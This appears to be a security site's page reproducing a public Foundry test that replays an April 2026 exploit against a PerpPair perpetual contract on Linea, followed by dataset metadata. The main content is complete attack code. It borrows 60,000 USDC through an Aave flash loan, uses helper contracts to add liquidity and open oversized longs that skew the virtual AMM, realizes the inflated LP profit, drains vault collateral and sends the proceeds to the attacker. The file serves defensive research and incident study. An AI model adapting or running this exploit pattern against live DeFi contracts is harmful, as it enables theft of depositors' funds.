Public reproduction file
src/test/2026-04/PerpPair_exp.sol
Public reproduction file for dataset entry PerpPair.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 165647.74 USDC8// Attacker : 0x8d6778d7fae00ad2e0bc12194cf03b756fed9db39// Attack Contract : 0xb87275489272ce1c4be358fc5856ea3273093cf810// Vulnerable Contract : 0xb68396dd4230253d27589e2004ac37389836ae1711// Attack Tx : https://lineascan.build/tx/0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c60644713// @Info14// Vulnerable Contract Code : https://lineascan.build/address/0xb68396dd4230253d27589e2004ac37389836ae17#code15// CurveMath Code : https://lineascan.build/address/0x78197fe93999e34d5a688e1819923c66dcf8f4db#code17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/204107092790812689719//20// The attacker used a 60,000 USDC Aave flash loan to seed two fresh LP/trader helper pairs.21// Each LP helper added PerpPair liquidity, each trader helper opened an oversized long that skewed22// the virtual AMM, and the LP helper immediately realized inflated PnL and withdrew it from the vault.24address constant ATTACKER = 0x8D6778d7FAe00aD2e0bc12194cF03B756FED9Db3;25address constant AAVE_POOL = 0xc47b8C00b0f69a36fa203Ffeac0334874574a8Ac;26address constant LINEA_USDC = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;27address constant COLLATERAL_VAULT = 0x61cE9B51010BA52F701444f0F3D1e563F6ae8d91;28address constant PERP_PAIR = 0xB68396dD4230253d27589e2004Ac37389836AE17;30interface IPerpCollateralVault {31 function addCollateral(32 uint256[] calldata amounts33 ) external;34 function removeCollateral(35 uint256 amount,36 bytes calldata unverifiedReport37 ) external;38 function totalCollateral() external view returns (uint256);39 function userCollateral(40 address user41 ) external view returns (uint256);42}44interface IPerpPair {45 function addLiquidity(46 uint256 liquidityStable,47 uint256 liquidityAsset,48 uint256 maxFeeValue,49 bytes calldata unverifiedReport50 ) external;51 function trade(52 bool direction,53 uint256 size,54 uint256 minTradeReturn,55 uint256 initialGuess,56 address frontendAddress,57 uint8 leverage,58 bytes calldata unverifiedReport59 ) external returns (uint256);60 function realizePnL(61 bytes calldata unverifiedReport62 ) external returns (uint256 pnl, bool pnlSign);63}65contract ContractTest is BaseTestWithBalanceLog {66 function setUp() public {67 uint256 forkBlock = 30_067_820;68 vm.createSelectFork("linea", forkBlock);69 vm.roll(30_067_821);70 vm.warp(1_775_380_033);71 fundingToken = LINEA_USDC;72 attacker = ATTACKER;74 vm.label(ATTACKER, "Attacker EOA");75 vm.label(AAVE_POOL, "Aave V3 Pool");76 vm.label(LINEA_USDC, "USDC");77 vm.label(COLLATERAL_VAULT, "Perp collateral vault");78 vm.label(PERP_PAIR, "PerpPair");79 }81 function testExploit() public balanceLog {82 uint256 attackerBefore = IERC20(LINEA_USDC).balanceOf(ATTACKER);83 PerpPairAttackCoordinator coordinator = new PerpPairAttackCoordinator(ATTACKER);85 vm.prank(ATTACKER);86 coordinator.run();88 uint256 profit = IERC20(LINEA_USDC).balanceOf(ATTACKER) - attackerBefore;89 emit log_named_decimal_uint("Attacker USDC profit", profit, 6);90 assertGt(profit, 165_000e6, "rebuilt PerpPair exploit profit below expected range");91 }92}94contract PerpPairAttackCoordinator {95 IERC20 private constant usdc = IERC20(LINEA_USDC);96 IAaveFlashloan private constant aave = IAaveFlashloan(AAVE_POOL);98 address private immutable profitReceiver;100 constructor(101 address profitReceiver_102 ) {103 profitReceiver = profitReceiver_;104 }106 function run() external {107 require(msg.sender == profitReceiver, "only profit receiver");109 // step 1: borrow the same USDC amount from Aave as the traced attack contract.110 aave.flashLoanSimple(address(this), LINEA_USDC, 60_000e6, "", 0);112 // step 8: Aave has pulled repayment; forward remaining USDC to the attacker EOA.113 uint256 profit = usdc.balanceOf(address(this));114 require(profit > 0, "no USDC profit");115 usdc.transfer(profitReceiver, profit);116 }118 function executeOperation(119 address asset,120 uint256 amount,121 uint256 premium,122 address initiator,123 bytes calldata124 ) external returns (bool) {125 require(msg.sender == AAVE_POOL, "not Aave pool");126 require(initiator == address(this), "bad initiator");127 require(asset == LINEA_USDC && amount == 60_000e6, "unexpected flash loan");129 // step 2: deploy the first LP/trader pair and seed them with 30,000 and 15,000 USDC.130 PerpLpHelper firstLp = new PerpLpHelper(address(this));131 PerpTraderHelper firstTrader = new PerpTraderHelper(address(this));132 usdc.transfer(address(firstLp), 30_000e6);133 usdc.transfer(address(firstTrader), 15_000e6);135 // step 3: add 20,000 virtual stable liquidity, then skew the AMM with a 100,000 size long.136 firstLp.addLiquidityRound(30_000e6, 20_000e18);137 firstTrader.tradeRound(15_000e6, 100_000e18);139 // step 4: realize the manipulated LP PnL, withdraw available vault collateral, and collect it.140 firstLp.realizeAndWithdraw();141 firstLp.sweep(address(this));143 // step 5: repeat with a smaller second LP/trader pair while the AMM state is still distorted.144 PerpLpHelper secondLp = new PerpLpHelper(address(this));145 PerpTraderHelper secondTrader = new PerpTraderHelper(address(this));146 usdc.transfer(address(secondLp), 10_000e6);147 usdc.transfer(address(secondTrader), 5000e6);148 secondLp.addLiquidityRound(10_000e6, 8000e18);149 secondTrader.tradeRound(5000e6, 30_000e18);151 // step 6: realize the second inflated LP PnL and collect the remaining available vault collateral.152 secondLp.realizeAndWithdraw();153 secondLp.sweep(address(this));155 // step 7: approve Aave to pull principal plus the traced 30 USDC premium.156 uint256 repayment = amount + premium;157 require(repayment == 60_030e6, "unexpected Aave premium");158 usdc.approve(AAVE_POOL, repayment);159 return true;160 }161}163contract PerpLpHelper {164 IERC20 private constant usdc = IERC20(LINEA_USDC);165 IPerpCollateralVault private constant vault = IPerpCollateralVault(COLLATERAL_VAULT);166 IPerpPair private constant pair = IPerpPair(PERP_PAIR);168 address private immutable owner;170 constructor(171 address owner_172 ) {173 owner = owner_;174 }176 modifier onlyOwner() {177 require(msg.sender == owner, "not owner");178 _;179 }181 function addLiquidityRound(182 uint256 collateralAmount,183 uint256 liquidityStable184 ) external onlyOwner {185 usdc.approve(COLLATERAL_VAULT, collateralAmount);187 uint256[] memory amounts = new uint256[](1);188 amounts[0] = collateralAmount;189 vault.addCollateral(amounts);191 pair.addLiquidity(liquidityStable, 0, 0, "");192 }194 function realizeAndWithdraw() external onlyOwner returns (uint256 pnl) {195 bool pnlSign;196 (pnl, pnlSign) = pair.realizePnL("");197 require(pnlSign, "expected positive PnL");199 uint256 userCollateral = vault.userCollateral(address(this));200 uint256 availableCollateral = vault.totalCollateral();201 uint256 withdrawAmount = pnl;202 // The second round realizes more PnL than the vault can still pay.203 if (withdrawAmount > userCollateral) withdrawAmount = userCollateral;204 if (withdrawAmount > availableCollateral) withdrawAmount = availableCollateral;205 vault.removeCollateral(withdrawAmount, "");206 }208 function sweep(209 address to210 ) external onlyOwner {211 uint256 balance = usdc.balanceOf(address(this));212 if (balance > 0) {213 usdc.transfer(to, balance);214 }215 }216}218contract PerpTraderHelper {219 IERC20 private constant usdc = IERC20(LINEA_USDC);220 IPerpCollateralVault private constant vault = IPerpCollateralVault(COLLATERAL_VAULT);221 IPerpPair private constant pair = IPerpPair(PERP_PAIR);223 address private immutable owner;225 constructor(226 address owner_227 ) {228 owner = owner_;229 }231 modifier onlyOwner() {232 require(msg.sender == owner, "not owner");233 _;234 }236 function tradeRound(237 uint256 collateralAmount,238 uint256 tradeSize239 ) external onlyOwner {240 usdc.approve(COLLATERAL_VAULT, collateralAmount);242 uint256[] memory amounts = new uint256[](1);243 amounts[0] = collateralAmount;244 vault.addCollateral(amounts);246 pair.trade(true, tradeSize, 0, 0, address(0), 10, "");247 }248}Analysis
Dataset entry
Public Foundry test for “PerpPair” (2026-04-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3
- Attack Contract
0xb87275489272ce1c4be358fc5856ea3273093cf8
- Vulnerable Contract
0xb68396dd4230253d27589e2004ac37389836ae17
- Attack Tx
0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447
File record
- Name
- PerpPair
- Path
- src/test/2026-04/PerpPair_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 54f95e7d351db324adab2ce9f82b0a23ea73928e
- Language
- Solidity
- Size
- 249 lines
- Date
- 2026-04-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/PerpPair_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 54f95e7d351db324adab2ce9f82b0a23ea73928e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.